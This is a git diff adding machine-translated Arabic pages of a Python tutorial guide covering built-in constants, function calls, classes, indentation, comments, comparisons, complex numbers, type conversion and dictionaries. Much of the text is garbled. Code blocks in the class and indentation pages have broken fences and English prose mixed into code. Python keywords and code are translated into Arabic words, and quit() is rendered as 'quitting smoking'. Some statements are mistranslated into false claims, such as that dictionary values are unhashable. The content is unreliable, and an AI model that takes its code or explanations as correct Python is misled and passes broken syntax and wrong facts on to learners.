+*   `None` : القيمة الوحيدة من النوع _NoneType_ . يتم استخدام "بلا" بشكل متكرر لتمثيل غياب أي قيمة ، حيث لا يتم تمرير الوسيطات الافتراضية إلى إحدى الوظائف. تخصيصات `None` تثير _خطأ قواعدي._
+
+الثوابت المدمجة الأخرى:
+
+*   `NotImplemented` : قيمة خاصة يجب إعادتها بواسطة الطرق الخاصة الثنائية ، مثل `__eg__()` ، `__add__()` ، `__rsub__()` ، إلخ) للإشارة إلى أن العملية لم يتم تنفيذها فيما يتعلق بالنوع الآخر.
+*   `Ellipsis` : قيمة خاصة تستخدم في الغالب بالاقتران مع صيغة تقسيم موسعة لأنواع بيانات الحاويات المعرفة من قبل المستخدم.
+*   `__debug__` : صواب إذا لم تبدأ بايثون بخيار -o.
+
+الثوابت المضافة بواسطة وحدة الموقع الوحدة النمطية الموقع (الذي يتم استيراده تلقائياً أثناء بدء التشغيل ، فيما عدا إذا تم إعطاء خيار سطر الأوامر -S) يضيف ثوابت عديدة إلى مساحة الاسم المضمنة. وهي مفيدة لقذيفة الترجمة التفاعلية ولا ينبغي استخدامها في البرامج.
+
+الكائنات التي عند طباعتها ، قم بطباعة رسالة مثل "Use quit () أو Ctrl-D (أي EOF) للخروج" ، وعند استدعاء ، ارفع SystemExit برمز الإنهاء المحدد:
+
+*   الإقلاع عن التدخين (رمز = لا يوجد)
+*   خروج (رمز = لا يوجد)
+
+الكائنات التي تتم طباعتها ، قم بطباعة رسالة مثل "اكتب الترخيص () لرؤية نص الترخيص الكامل" ، وعندما يتم استدعاؤه ، قم بعرض النص المقابل بطريقة تشبه الاستدعاء (شاشة واحدة في كل مرة):
+
+*   حقوق النشر
+*   رخصة
+*   ائتمانات
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/calling-functions/index.md b/client/src/guide/arabic/python/calling-functions/index.md
new file mode 100644
index 0000000000..2333d400d2
--- /dev/null
+++ b/client/src/guide/arabic/python/calling-functions/index.md
@@ -0,0 +1,52 @@
+---
+title: Python Calling Functions
+localeTitle: وظائف الاتصال بيثون
+---
+بيان تعريف دالة لا ينفذ الدالة. يتم تنفيذ (استدعاء) وظيفة باستخدام اسم الدالة متبوعًا بقوس يرفق الوسائط المطلوبة (إن وجدت).
+
+ `>>> def say_hello(): 
+ ...     print('Hello') 
+ ... 
+ >>> say_hello() 
+ Hello 
+` 
+
+يقدم تنفيذ وظيفة جدول رمز جديد يستخدم للمتغيرات المحلية للدالة. بتعبير أدق ، تخزن جميع التعيينات المتغيرة في دالة القيمة في جدول الرموز المحلي ؛ بينما تظهر المراجع المتغيرة أولاً في جدول الرموز المحلي ، ثم في جداول الرموز المحلية لإدراج الوظائف ، ثم في جدول الرموز العام ، وأخيرًا في جدول الأسماء المضمنة. وبالتالي ، لا يمكن تعيين المتغيرات العامة بشكل مباشر ضمن دالة ما (ما لم يتم تسميتها في بيان عام) ، على الرغم من إمكانية الرجوع إليها.
+
+ `>>> a = 1 
+ >>> b = 10 
+ >>> def fn(): 
+ ...     print(a)    # local a is not assigned, no enclosing function, global a referenced. 
+ ...     b = 20      # local b is assigned in the local symbol table for the function. 
+ ...     print(b)    # local b is referenced. 
+ ... 
+ >>> fn() 
+ 1 
+ 20 
+ >>> b               # global b is not changed by the function call. 
+ 10 
+` 
+
+يتم إدخال المعلمات الفعلية (الوسائط) إلى استدعاء دالة في جدول الرموز المحلي للدالة المسماة عندما يتم استدعاؤها ؛ وبالتالي ، يتم تمرير الوسائط باستخدام المكالمة حسب القيمة (حيث تكون القيمة دومًا مرجع كائن ، وليس قيمة الكائن). عند استدعاء دالة دالة أخرى ، يتم إنشاء جدول رمز محلي جديد لهذا الاستدعاء.
+
+ `>>> def greet(s): 
+ ...     s = "Hello " + s    # s in local symbol table is reassigned. 
+ ...     print(s) 
+ ... 
+ >>> person = "Bob" 
+ >>> greet(person) 
+ Hello Bob 
+ >>> person                  # person used to call remains bound to original object, 'Bob'. 
+ 'Bob' 
+` 
+
+لا يمكن إعادة تعيين الوسائط المستخدمة في استدعاء دالة بواسطة الدالة ، ولكن يمكن تغيير القيم التي تشير إلى كائنات قابلة للتغيير إلى قيمها:
+
+ `>>> def fn(arg): 
+ ...     arg.append(1) 
+ ... 
+ >>> a = [1, 2, 3] 
+ >>> fn(a) 
+ >>> a 
+ [1, 2, 3, 1] 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/class/index.md b/client/src/guide/arabic/python/class/index.md
new file mode 100644
index 0000000000..761ddde1e7
--- /dev/null
+++ b/client/src/guide/arabic/python/class/index.md
@@ -0,0 +1,69 @@
+---
+title: Class
+localeTitle: صف دراسي
+---
+## صف دراسي
+
+توفر الفئات وسيلة لتجميع البيانات والوظائف معًا. ينشئ إنشاء فئة جديدة نوعًا جديدًا من الكائنات ، مما يسمح بإنشاء نسخ جديدة من هذا النوع. يمكن أن يكون لكل مثيل فئة سمات مرتبطة به للحفاظ على حالته. يمكن أن تحتوي مثيلات الفئة أيضًا على طرق (يتم تعريفها بواسطة الفئة الخاصة بها) لتعديل حالتها.
+
+مقارنة مع لغات البرمجة الأخرى ، فإن آلية التصنيف في Python تضيف فصولا بحد أدنى من بناء الجملة الجديدة والدلالات. إنه خليط من آليات الفصل الموجودة في C ++. توفر فصول Python كافة الميزات القياسية للبرمجة الكائنية التوجه: تسمح آلية الوراثة الطبقية لفئات أساسية متعددة ، يمكن للفئة المشتقة تجاوز أي طرق لفئة أو فصولها الأساسية ، ويمكن لطريقة استدعاء طريقة فئة أساسية تحمل الاسم نفسه. يمكن أن تحتوي الكائنات على كميات وأنواع بيانات عشوائية. كما هو الحال بالنسبة للوحدات ، فالفصول الدراسية تشترك في الطبيعة الديناميكية لبيثون: يتم إنشاؤها في وقت التشغيل ، ويمكن تعديلها بعد الإنشاء.
+
+#### تعريف صيغة الطبقة:
+
+أبسط شكل من أشكال تعريف الفئة يشبه هذا:
+
+ ``class ClassName: 
+    <statement-1> 
+        ... 
+        ... 
+        ... 
+    <statement-N> 
+ ``` 
+ 
+ #### Class Objects: 
+ 
+ Class objects support two kinds of operations: attribute references and instantiation. 
+ 
+ Attribute references use the standard syntax used for all attribute references in Python: `obj.name`. 
+ Valid attribute names are all the names that were in the class's namespace when the class object was created. 
+ So, if the class definition looked like this: 
+`` 
+
+الثعبان فئة MyClass: "" "فئة بسيطة مثال" "" ط = 12345
+
+ `def f(self): 
+    return 'hello world' 
+` 
+
+ ``Then `MyClass.i` and `MyClass.f` are valid attribute references, returning an integer and a function object, respectively. 
+ Class attributes can also be assigned to, so you can change the value of `MyClass.i` by assignment. `__doc__` is also a valid attribute, returning the docstring belonging to the class: `"A simple example class"`. 
+ 
+ Class instantiation uses function notation. Just pretend that the class object is a parameterless function that returns a new instance of the class. For example (assuming the above class): 
+`` 
+
+الثعبان x = MyClass ()
+
+ `Creates a new instance of the class and assigns this object to the local variable x. 
+ 
+ The instantiation operation (“calling” a class object) creates an empty object. 
+ Many classes like to create objects with instances customized to a specific initial state. 
+ Therefore a class may define a special method named __init__(), like this: 
+` 
+
+الثعبان def **init** (الذاتية): self.data = \[\]
+
+ ``When a class defines an `__init__()` method, class instantiation automatically invokes `__init__()` for the newly-created class instance. 
+ So in this example, a new, initialized instance can be obtained by: 
+`` 
+
+الثعبان x = MyClass ()
+
+ ``Of course, the `__init__()` method may have arguments for greater flexibility. 
+ In that case, arguments given to the class instantiation operator are passed on to `__init__()`. For example, 
+`` 
+
+الثعبان مجمع الصف: def **init** (self، realpart، imagpart): self.r = realpart self.i = تخيل ...
+
+x = معقدة (3.0 ، -4.5)
+
+> > > xr، xi (3.0 ، -4.5) \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/code-blocks-and-indentation/index.md b/client/src/guide/arabic/python/code-blocks-and-indentation/index.md
new file mode 100644
index 0000000000..4c04138565
--- /dev/null
+++ b/client/src/guide/arabic/python/code-blocks-and-indentation/index.md
@@ -0,0 +1,48 @@
+---
+title: Python Code Blocks and Indentation
+localeTitle: كتل بيثون كود و المسافة البادئة
+---
+من الممارسات الجيدة عمومًا عدم مزج علامات التبويب والمسافات عند التشفير في Python. قد يؤدي القيام بذلك إلى حدوث `TabError` ، `TabError` البرنامج. كن ثابتًا عند التعليمة البرمجية - اختر إما للمسافة البادئة باستخدام علامات التبويب أو المساحات واتبع الاصطلاح الذي اخترته في البرنامج.
+
+#### كتل رمز و المسافة البادئة
+
+واحدة من السمات الأكثر تميزًا في بايثون هي استخدام المسافات البادئة لوضع علامات على الكود. فكر في if-statement من برنامج بسيط لفحص كلمة المرور:
+
+\`\` \`الثعبان إذا كان pwd == "apple ': طباعة ("تسجيل الدخول ...") آخر: طباعة ("كلمة مرور غير صحيحة.")
+
+طباعة ("كل ذلك!")
+
+ `The lines print('Logging on ...') and print('Incorrect password.') are two separate code blocks. These ones happen to be only a single line long, but Python lets you write code blocks consisting of any number of statements. 
+ 
+ To indicate a block of code in Python, you must indent each line of the block by the same amount. The two blocks of code in our example if-statement are both indented four spaces, which is a typical amount of indentation for Python. 
+ 
+ In most other programming languages, indentation is used only to help make the code look pretty. But in Python, it is required for indicating what block of code a statement belongs to. For instance, the final print('All done!') is not indented, and so is not part of the else-block. 
+ 
+ Programmers familiar with other languages often bristle at the thought that indentation matters: Many programmers like the freedom to format their code how they please. However, Python indentation rules are quite simple, and most programmers already use indentation to make their code readable. Python simply takes this idea one step further and gives meaning to the indentation. 
+ 
+ #### If/elif-statements 
+ An if/elif-statement is a generalized if-statement with more than one condition. It is used for making complex decisions. For example, suppose an airline has the following “child” ticket rates: Kids 2 years old or younger fly for free, kids older than 2 but younger than 13 pay a discounted child fare, and anyone 13 years or older pays a regular adult fare. The following program determines how much a passenger should pay: 
+` 
+
+الثعبان
+
+# airfare.py
+
+age = int (input ("كم عمرك؟")) إذا كان العمر <= 2: طباعة ("مجاني") elif 2 <age <13: طباعة (أجرة الطفل) آخر: طباعة ("أجرة البالغين")
+
+ `After Python gets age from the user, it enters the if/elif-statement and checks each condition one after the other in the order they are given. So first it checks if age is less than 2, and if so, it indicates that the flying is free and jumps out of the elif-condition. If age is not less than 2, then it checks the next elif-condition to see if age is between 2 and 13. If so, it prints the appropriate message and jumps out of the if/elif-statement. If neither the if-condition nor the elif-condition is True, then it executes the code in the else-block. 
+ 
+ #### Conditional expressions 
+ Python has one more logical operator that some programmers like (and some don't!). It's essentially a shorthand notation for if-statements that can be used directly within expressions. Consider this code: 
+` 
+
+الثعبان food = input ("ما هو طعامك المفضل؟") رد = 'ياك' إذا كان الطعام == 'خروف' آخر 'يم'
+
+ `The expression on the right-hand side of = in the second line is called a conditional expression, and it evaluates to either 'yuck' or 'yum'. It's equivalent to the following: 
+` 
+
+الثعبان food = input ("ما هو طعامك المفضل؟") إذا كان الطعام == "الضأن": رد = "يغت" آخر: رد = "يم" \`\` \`
+
+عادةً ما تكون التعبيرات الشرطية أقصر من العبارات المقابلة في حالة / else- ، على الرغم من أنها ليست مرنة أو سهلة القراءة. بشكل عام ، يجب عليك استخدامها عند جعل الرمز الخاص بك أبسط.
+
+[توثيق بايثون - المسافة البادئة](https://docs.python.org/3/reference/lexical_analysis.html#indentation)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/commenting-code/index.md b/client/src/guide/arabic/python/commenting-code/index.md
new file mode 100644
index 0000000000..15bf94f1e8
--- /dev/null
+++ b/client/src/guide/arabic/python/commenting-code/index.md
@@ -0,0 +1,35 @@
+---
+title: Python Commenting Code
+localeTitle: بيثون تعليق كود
+---
+تستخدم التعليقات للتعليق أو الوصف أو شرح الكود المعقد أو الصعب الفهم. سوف تتجاهل بايثون عن قصد التعليقات عندما تتحول إلى شفرة البايت من قبل المترجم. يحتوي برنامج [`PEP 8`](https://www.python.org/dev/peps/pep-0008/#comments) على قسم يتعامل مع التعليقات. كما أنه يزيد من سهولة القراءة عن طريق إضافة لغة سهلة ووصفية لفهم أفضل.
+
+**كتلة** والتعليقات **المضمنة** تبدأ مع `#` ، متبوعا بمسافة قبل التعليق:
+
+ `    # This is a block comment. 
+    print('Hello world!') # This is an inline commment. 
+` 
+
+لا تتضمن Python طريقة رسمية لكتابة التعليقات متعددة الأسطر. يجب أن يبدأ كل سطر من تعليق يغطي عدة أسطر بـ `#` ومساحة:
+
+ `    # This is the first line of a multiline comment. 
+    # This is the second line. 
+` 
+
+هناك نوع آخر من التعليقات هو مستند **التوزيع** موثق في [`PEP 257`](https://www.python.org/dev/peps/pep-0257/) . Docstrings هي نوع محدد من التعليقات التي تصبح السمة `__doc__` .
+
+بالنسبة إلى سلسلة حرفية أن تكون عبارة عن docstring ، يجب أن تبدأ وتنتهي بـ `\"\"\"` وأن تكون أول عبارة عن تعريف الوحدة النمطية أو الوظيفة أو الفئة أو الأسلوب الذي تقوم بتوثيقه:
+
+ `    class SomeClass(): 
+        """Summary line for SomeClass. 
+ 
+        More elaborate descriptions may require using a 
+        a multiline docstring. 
+        """ 
+ 
+        def method_a(self): 
+            """Single line summary of method_a.""" 
+            pass 
+` 
+
+يمكن استخدام القيم الحرفية للسلسلة التي تبدأ وتنتهي بـ `"""` التي لا تمثل docstrings (وليس العبارة الأولى) ، للسلاسل متعددة الأسطر. لن تصبح سمات `__doc__` . إذا لم يتم تعيينها لمتغير ، فلن تقوم بإنشاء كود البايت. هناك بعض النقاش حول استخدامها كتعليقات متعددة الأسطر موجودة [هنا](http://stackoverflow.com/questions/7696924/multiline-comments-in-python) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/comparisons/index.md b/client/src/guide/arabic/python/comparisons/index.md
new file mode 100644
index 0000000000..6e9d0773de
--- /dev/null
+++ b/client/src/guide/arabic/python/comparisons/index.md
@@ -0,0 +1,78 @@
+---
+title: Python Comparisons
+localeTitle: مقارنات بايثون
+---
+[بيثون مستندات - المقارنات](https://docs.python.org/3/library/stdtypes.html#comparisons)
+
+هناك ثماني عمليات مقارنة في بايثون. لديهم جميعا نفس الأولوية (وهو أعلى من العمليات المنطقية). يمكن مقارناته بشكل تعسفي. على سبيل المثال ، `x < y <= z` مكافئ `x < y and y <= z` ، فيما عدا أنه يتم تقييم `y` مرة واحدة فقط (ولكن في الحالتين `z` لا يتم تقييمه على الإطلاق عند `x < y` تم العثور على false).
+
+يلخص هذا الجدول عمليات المقارنة:
+
+العملية | المعنى  
+\--------- | -----------------------  
+`<` | بدقة أقل من  
+`<=` | اقل او يساوي `>` | بدقة أكبر من `>=` | أكبر من أو يساوي `==` | يساوي `!=` | لا تساوي `is` | هوية الكائن  
+`is not` هوية الكائن المنسوخة
+
+كائنات من أنواع مختلفة ، باستثناء أنواع رقمية مختلفة ، أبدا مقارنة على قدم المساواة. علاوة على ذلك ، فإن بعض الأنواع (على سبيل المثال ، كائنات الدالة) تدعم فقط مفهومًا متدليًا للمقارنة حيث يكون أي جسمين من هذا النوع غير متساويين. ستقوم عوامل `<` ، `<=` ، `>` و `>=` برفع استثناء `TypeError` عند مقارنة رقم مركب بنوع رقمي مدمج آخر ، عندما تكون الكائنات من أنواع مختلفة لا يمكن مقارنتها ، أو في حالات أخرى حيث لا يوجد تعريف ترتيب.
+
+عادةً ما تقارن المثيلات غير المتطابقة لفئة ما بأنها غير متساوية ما لم يعرّف الفصل الأسلوب `__eq__()` .
+
+لا يمكن ترتيب مثيلات الفئة فيما يتعلق `__lt__()` الأخرى من نفس الفئة ، أو أنواع أخرى من الكائنات ، ما لم يحدد الفصل ما يكفي من الأساليب `__lt__()` و `__le__()` و `__gt__()` و `__ge__()` (بشكل عام و `__lt__()` و `__eq__()` كافية ، إذا كنت تريد المعنى التقليدي لمشغلي المقارنة).
+
+سلوك `is` و `is not` المشغلين لا يمكن تخصيص. كما يمكن تطبيقها على أي جسمين ولا تثير استثناء.
+
+يمكننا أيضا سلسلة `<` و `>` المشغلين معا. على سبيل المثال ، `3 < 4 < 5` سيعود `True` ، لكن `3 < 4 > 5` لن. يمكننا أيضا سلسلة مشغل المساواة. على سبيل المثال ، `3 == 3 < 5` سيعود `True` ولكن `3 == 5 < 5` لن.
+
+### مقارنات المساواة - "is" vs "=="
+
+في بايثون ، هناك نوعان من عوامل المقارنة التي تسمح لنا بالتحقق من وجود كائنين متساويين. المشغل `is` و `==` المشغل. ومع ذلك ، هناك فرق رئيسي بينهما!
+
+يمكن تلخيص الفرق الرئيسي بين "is" و "==" على النحو التالي:
+
+*   `is` يستخدم لمقارنة **الهوية**
+*   `==` يستخدم لمقارنة **المساواة**
+
+## مثال
+
+أولا ، إنشاء قائمة في بيثون.
+
+ `myListA = [1,2,3] 
+` 
+
+بعد ذلك ، قم بإنشاء نسخة من تلك القائمة.
+
+ `myListB = myListA 
+` 
+
+إذا استخدمنا عامل التشغيل "==" أو عامل التشغيل "is" ، فسيؤدي كلاهما إلى إخراج **صحيح** .
+
+ `>>> myListA == myListB # both lists contains similar elements 
+ True 
+ >>> myListB is myListA # myListB contains the same elements 
+ True 
+` 
+
+هذا لأن myListA و myListB يشيران إلى نفس متغير القائمة ، الذي عرّفته في بداية برنامج Python الخاص بي. كلا القائمتين متطابقتان تمامًا ، سواء في الهوية أو في المحتوى.
+
+ومع ذلك ، ماذا لو أنشأت الآن قائمة جديدة؟
+
+ `myListC = [1,2,3] 
+` 
+
+لا يزال أداء عامل `==` يشير إلى أن كلا القائمتين متماثلتين ، من حيث المحتوى.
+
+ `>>> myListA == myListC 
+ True 
+` 
+
+ومع ذلك، أداء `is` مشغل والآن تنتج `False` الانتاج. هذا لأن myListA و myListC هما متغيرين مختلفين ، بالرغم من احتوائهما على نفس البيانات. على الرغم من أنها تبدو متشابهة ، إلا أنها **مختلفة** .
+
+ `>>> myListA is myListC 
+ False # both lists have different reference 
+` 
+
+لنلخص:
+
+*   `is` ناتج التعبير `True` إذا كان كلا المتغيرين يشيران إلى نفس المرجع
+*   ناتج تعبير `==` `True` إذا `True` كلا المتغيرين على نفس البيانات
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/complex-numbers/index.md b/client/src/guide/arabic/python/complex-numbers/index.md
new file mode 100644
index 0000000000..b069427620
--- /dev/null
+++ b/client/src/guide/arabic/python/complex-numbers/index.md
@@ -0,0 +1,56 @@
+---
+title: Python Complex Numbers
+localeTitle: أرقام بيثون معقدة
+---
+الأعداد المركبة لها جزء حقيقي وهمي ، يمثل كل منها رقم نقطة عائمة.
+
+يمكن إنشاء الجزء التخيلي من رقم مركب باستخدام حرفي تخيلي ، وينتج عن ذلك رقمًا معقدًا بجزء حقيقي من `0.0` :
+
+ `>>> a = 3.5j 
+ >>> type(a) 
+ <class 'complex'> 
+ >>> print(a) 
+ 3.5j 
+ >>> a.real 
+ 0.0 
+ >>> a.imag 
+ 3.5 
+` 
+
+لا يوجد حرفي لإنشاء رقم مركب بأجزاء حقيقية وغير وهمية. لإنشاء رقم مجمع حقيقي غير صفري ، أضف حرفيًا خياليًا إلى رقم نقطة عائمة:
+
+ `>>> a = 1.1 + 3.5j 
+ >>> type(a) 
+ <class 'complex'> 
+ >>> print(a) 
+ (1.1+3.5j) 
+ >>> a.real 
+ 1.1 
+ >>> a.imag 
+ 3.5 
+` 
+
+أو استخدام [منشئ المعقد](https://docs.python.org/3/library/functions.html#complex) .
+
+ `class complex([real[, imag]]) 
+` 
+
+يمكن أن تكون الوسيطات المستخدمة في استدعاء المُنشئ المعقد من نوع رقمي (بما في ذلك `complex` ) لأي من المعلمتين:
+
+ `>>> complex(1, 1) 
+ (1+1j) 
+ >>> complex(1j, 1j) 
+ (-1+1j) 
+ >>> complex(1.1, 3.5) 
+ (1.1+3.5j) 
+ >>> complex(1.1) 
+ (1.1+0j) 
+ >>> complex(0, 3.5) 
+ 3.5j 
+` 
+
+A `string` يمكن أن تستخدم أيضا حجة. لا يُسمح بوسيطة ثانية إذا تم استخدام سلسلة كوسيطة
+
+ `>>> complex("1.1+3.5j") 
+ (1.1+3.5j) 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/containers/index.md b/client/src/guide/arabic/python/containers/index.md
new file mode 100644
index 0000000000..112a1de41c
--- /dev/null
+++ b/client/src/guide/arabic/python/containers/index.md
@@ -0,0 +1,7 @@
+---
+title: Python Containers
+localeTitle: حاويات بايثون
+---
+تحتوي بعض الكائنات على مراجع للكائنات الأخرى ؛ هذه تسمى حاويات. أمثلة من الحاويات هي tuples والقوائم والقواميس. المراجع جزء من قيمة الحاوية. في معظم الحالات ، عندما نتحدث عن قيمة الحاوية ، فإننا نعني القيم ، وليس هويات الكائنات المتضمنة ؛ ومع ذلك ، عندما نتحدث عن تحور حاوية ، يتم فقط ضمّن هويات الكائنات الواردة مباشرةً. لذا ، إذا كانت الحاوية غير القابلة للتغيير (مثل المجموعة) تحتوي على مرجع إلى كائن قابل للتغيير ، تتغير قيمته إذا تم تغيير هذا الكائن القابل للتغيير.
+
+[Python Docs - Object Values ​​& Types](https://docs.python.org/3/reference/datamodel.html#objects-values-and-types)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/converting-integer-to-string-in-python/index.md b/client/src/guide/arabic/python/converting-integer-to-string-in-python/index.md
new file mode 100644
index 0000000000..6c5c54f983
--- /dev/null
+++ b/client/src/guide/arabic/python/converting-integer-to-string-in-python/index.md
@@ -0,0 +1,72 @@
+---
+title: Converting Integer to String in Python
+localeTitle: تحويل عدد صحيح الى سلسلة في بايثون
+---
+## تحويل عدد صحيح الى سلسلة في بايثون
+
+بخلاف العديد من اللغات الأخرى هناك ، فإن Python لا تقوم بتضمين الأعداد الصحيحة typecast (أو العائمة) ضمنيًا إلى سلاسل عندما تكون متسلسلة مع السلاسل. لحسن الحظ ، تمتلك Python `str()` وظيفية `str()` والتي ستحول الوسيطة التي تم تمريرها إلى تنسيق السلسلة.
+
+#### الطريق الخطأ
+
+قد يحاول المبرمجون القادمون من لغات أخرى تنفيذ سلسلة السلاسل التالية التي تنتج خطأ:
+
+ `age = 18 
+ 
+ string = "Hello, I am " + age + " years old" 
+` 
+
+[تشغيل الكود على repl.it](https://repl.it/JyYH/0)
+
+الخطأ الذي يظهر هو
+
+ `Traceback (most recent call last): 
+  File "python", line 3, in <module> 
+ TypeError: must be str, not int 
+` 
+
+`TypeError: must be str, not int` يشير إلى أنه يجب أولاً تحويل العدد الصحيح إلى سلسلة ليتم توصيله.
+
+#### الطريق الصحيح
+
+مثال سلسلتي بسيط:
+
+ `age = 18 
+ 
+ print("Hello, I am " + str(age) + " years old") 
+ 
+ # Output 
+ # Hello, I am 18 years old 
+` 
+
+[تشغيل الكود على repl.it](https://repl.it/Jz8Q/0)
+
+اطبع `1 2 3 4 5 6 7 8 9 10` باستخدام جملة واحدة
+
+ `result = "" 
+ 
+ for i in range(1, 11): 
+    result += str(i) + " " 
+ 
+ print(result) 
+ 
+ # Output 
+ # 1 2 3 4 5 6 7 8 9 10 
+` 
+
+[تشغيل الكود على repl.it](https://repl.it/KBLB/0)
+
+#### شرح عن طريق الخط من التعليمات البرمجية أعلاه
+
+1.  أولا وقبل كل شيء يتم تعيين "نتيجة" متغير لسلسلة فارغة.
+2.  للحلقة المستخدمة للتكرار عبر قائمة من الأرقام.
+3.  يتم إنشاء قائمة الأرقام هذه باستخدام دالة النطاق.
+4.  لذا فإن النطاق (1،11) سيؤدي إلى إنشاء قائمة بالأرقام من 1 إلى 10.
+5.  في كل تكرار للتكرار ، سيأخذ هذا المتغير 'i' القيم من 1 إلى 10.
+6.  عند التكرار الأول عند المتغير i = 1 ، ثم المتغير \[result = result + str (i) + "(space space)"\] ، يقوم str (i) بتحويل "i" وهي قيمة عددية لقيمة سلسلة.
+7.  نظرًا لأن i = 1 ، فإن النتيجة الأولى ستؤدي أخيراً إلى النتيجة = 1.
+8.  وتستمر العملية نفسها حتى i = 10 وأخيراً بعد نتيجة التكرار الأخيرة = 1 2 3 4 5 6 7 8 9 10.
+9.  لذلك عندما نطبع النتيجة أخيراً بعد الحلقة ، يكون المخرج في الكونسول "1 2 3 4 5 6 7 8 9 10".
+
+#### معلومات اكثر:
+
+[وثائق بيثون الرسمية لل `str()`](https://docs.python.org/3/library/stdtypes.html#str)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/creating-guis-in-python3/index.md b/client/src/guide/arabic/python/creating-guis-in-python3/index.md
new file mode 100644
index 0000000000..54e0388f62
--- /dev/null
+++ b/client/src/guide/arabic/python/creating-guis-in-python3/index.md
@@ -0,0 +1,9 @@
+---
+title: Creating GUI's in Python3
+localeTitle: إنشاء واجهة المستخدم الرسومية في Python3
+---
+# إنشاء واجهة المستخدم الرسومية في Python 3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/java/collections/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/data-structures/dictionaries/index.md b/client/src/guide/arabic/python/data-structures/dictionaries/index.md
new file mode 100644
index 0000000000..be01b374a4
--- /dev/null
+++ b/client/src/guide/arabic/python/data-structures/dictionaries/index.md
@@ -0,0 +1,118 @@
+---
+title: The Python Dict
+localeTitle: بيثون ديكت
+---
+القاموس (المعروف أيضا باسم "dict") في python هو نوع بيانات مدمج يمكن استخدامه لتخزين أزواج **`key-value`** . يتيح لك ذلك التعامل مع نظام **`dict`** كما لو كان _قاعدة بيانات_ لتخزين البيانات وتنظيمها.
+
+الشيء الخاص حول القواميس هو الطريقة التي يتم تنفيذها بها. تجعل بنية تشبه جدول التجزئة من السهل التحقق وجود - وهذا يعني أنه يمكننا بسهولة تحديد ما إذا كان هناك مفتاح معين موجود في القاموس دون الحاجة إلى فحصه كل عنصر. يمكن لمترجم Python فقط الذهاب إلى مفتاح الموقع والتحقق من وجود المفتاح.
+
+يمكن للقواميس استخدام أي نوع من أنواع البيانات الاعتباطية ، مثل السلاسل والأعداد الصحيحة إلخ ، للمفاتيح. ومع ذلك ، القيم غير قابلة للغسل ، بمعنى أنه لا يمكن استخدام القيم التي تحتوي على قوائم أو قواميس أو أنواع أخرى قابلة للتغيير (والتي تتم مقارنتها بقيمة بدلاً من هوية الكائن) كمفاتيح. تخضع الأنواع الرقمية المستخدمة للمفاتيح للقواعد العادية للمقارنة الرقمية: إذا كان هناك مقارنة بين رقمين متساويين (مثل `1` و `1.0` ) ، فيمكن استخدامهما بشكل متبادل لفهرسة إدخال القاموس نفسه. (لاحظ مع ذلك أنه بما أن أجهزة الكمبيوتر تقوم بتخزين أرقام الفاصلة العائمة في شكل تقديرات ، فمن غير المعتاد عادة استخدامها كمفاتيح قاموس.)
+
+أحد أهم متطلبات القاموس هو أن المفاتيح **يجب أن** تكون فريدة.  
+لإنشاء قاموس فارغ ، استخدم زوجًا من الأقواس:
+
+ `    >>> teams = {} 
+    >>> type(teams) 
+    >>> <class 'dict'> 
+` 
+
+  
+لإنشاء قاموس غير فارغ يحتوي على بعض القيم المبدئية ، ضع قائمة مفصولة بفواصل من أزواج القيم الرئيسية:
+
+ `    >>> teams = {'barcelona': 1875, 'chelsea': 1910} 
+    >>> teams 
+    {'barcelona': 1875, 'chelsea': 1910} 
+` 
+
+من السهل إضافة أزواج قيمة رئيسية إلى قاموس حالي:
+
+ `    >>> teams['santos'] = 1787 
+    >>> teams 
+    {'chelsea': 1910, 'barcelona': 1875, 'santos': 1787} # Notice the order - Dictionaries are unordered ! 
+    >>> # extracting value - Just provide the key 
+    ... 
+    >>> teams['barcelona'] 
+    1875 
+` 
+
+  
+يتم استخدام المشغل **`del`** لحذف زوج قيمة مفتاح من dict. في السيناريوهات التي يتم فيها استخدام مفتاح قيد الاستخدام مرة أخرى لتخزين القيم ، يتم فقد القيمة القديمة المرتبطة بهذا المفتاح تمامًا. ضع في اعتبارك أيضًا أنه من الخطأ استخلاص القيمة باستخدام مفتاح غير موجود.
+
+ `    >>> del teams['santos'] 
+    >>> teams 
+    {'chelsea': 1910, 'barcelona': 1875} 
+    >>> teams['chelsea'] = 2017 # overwriting 
+    >>> teams 
+    {'chelsea': 2017, 'barcelona': 1875} 
+` 
+
+  
+**`in`** الكلمة الأساسية يمكن استخدامها للتحقق من وجود مفتاح في الأمر أم لا:
+
+ `    >>> 'sanots' in teams 
+    False 
+    >>> 'barcelona' in teams 
+    True 
+    >>> 'chelsea' not in teams 
+    False 
+` 
+
+  
+**`keys`** هي _طريقة_ المضمنة التي يمكن استخدامها للحصول على مفاتيح قاموس معين. لاستخراج المفاتيح الموجودة في dict كقوائم:
+
+ `    >>> club_names = list(teams.keys()) 
+    >>> club_names 
+    ['chelsea', 'barcelona'] 
+` 
+
+  
+هناك طريقة أخرى لإنشاء القاموس تستخدم طريقة **`dict()`** :
+
+ `    >>> players = dict( [('messi','argentina'), ('ronaldo','portugal'), ('kaka','brazil')] ) # sequence of key-value pair is passed 
+    >>> players 
+    {'ronaldo': 'portugal', 'kaka': 'brazil', 'messi': 'argentina'} 
+    >>> 
+    >>> # If keys are simple strings, it's quite easier to specify pairs using keyword arguments 
+    ... 
+    >>> dict( totti = 38, zidane = 43 ) 
+    {'zidane': 43, 'totti': 38} 
+` 
+
+يمكن استخدام اختبارات Dict أيضًا لإنشاء القواميس من تعبيرات المفاتيح والقيمة التعسفية:
+
+ `    >>> {x: x**2 for x in (2, 4, 6)} 
+    {2: 4, 4: 16, 6: 36} 
+` 
+
+**التكرار في القاموس**  
+للحلقة ببساطة فوق المفاتيح في القاموس ، بدلاً من المفاتيح والقيم:
+
+ `    >>> d = {'x': 1, 'y': 2, 'z': 3} 
+    >>> for key in d: 
+    ...     print(key) # do something 
+    ... 
+    x 
+    y 
+    z 
+` 
+
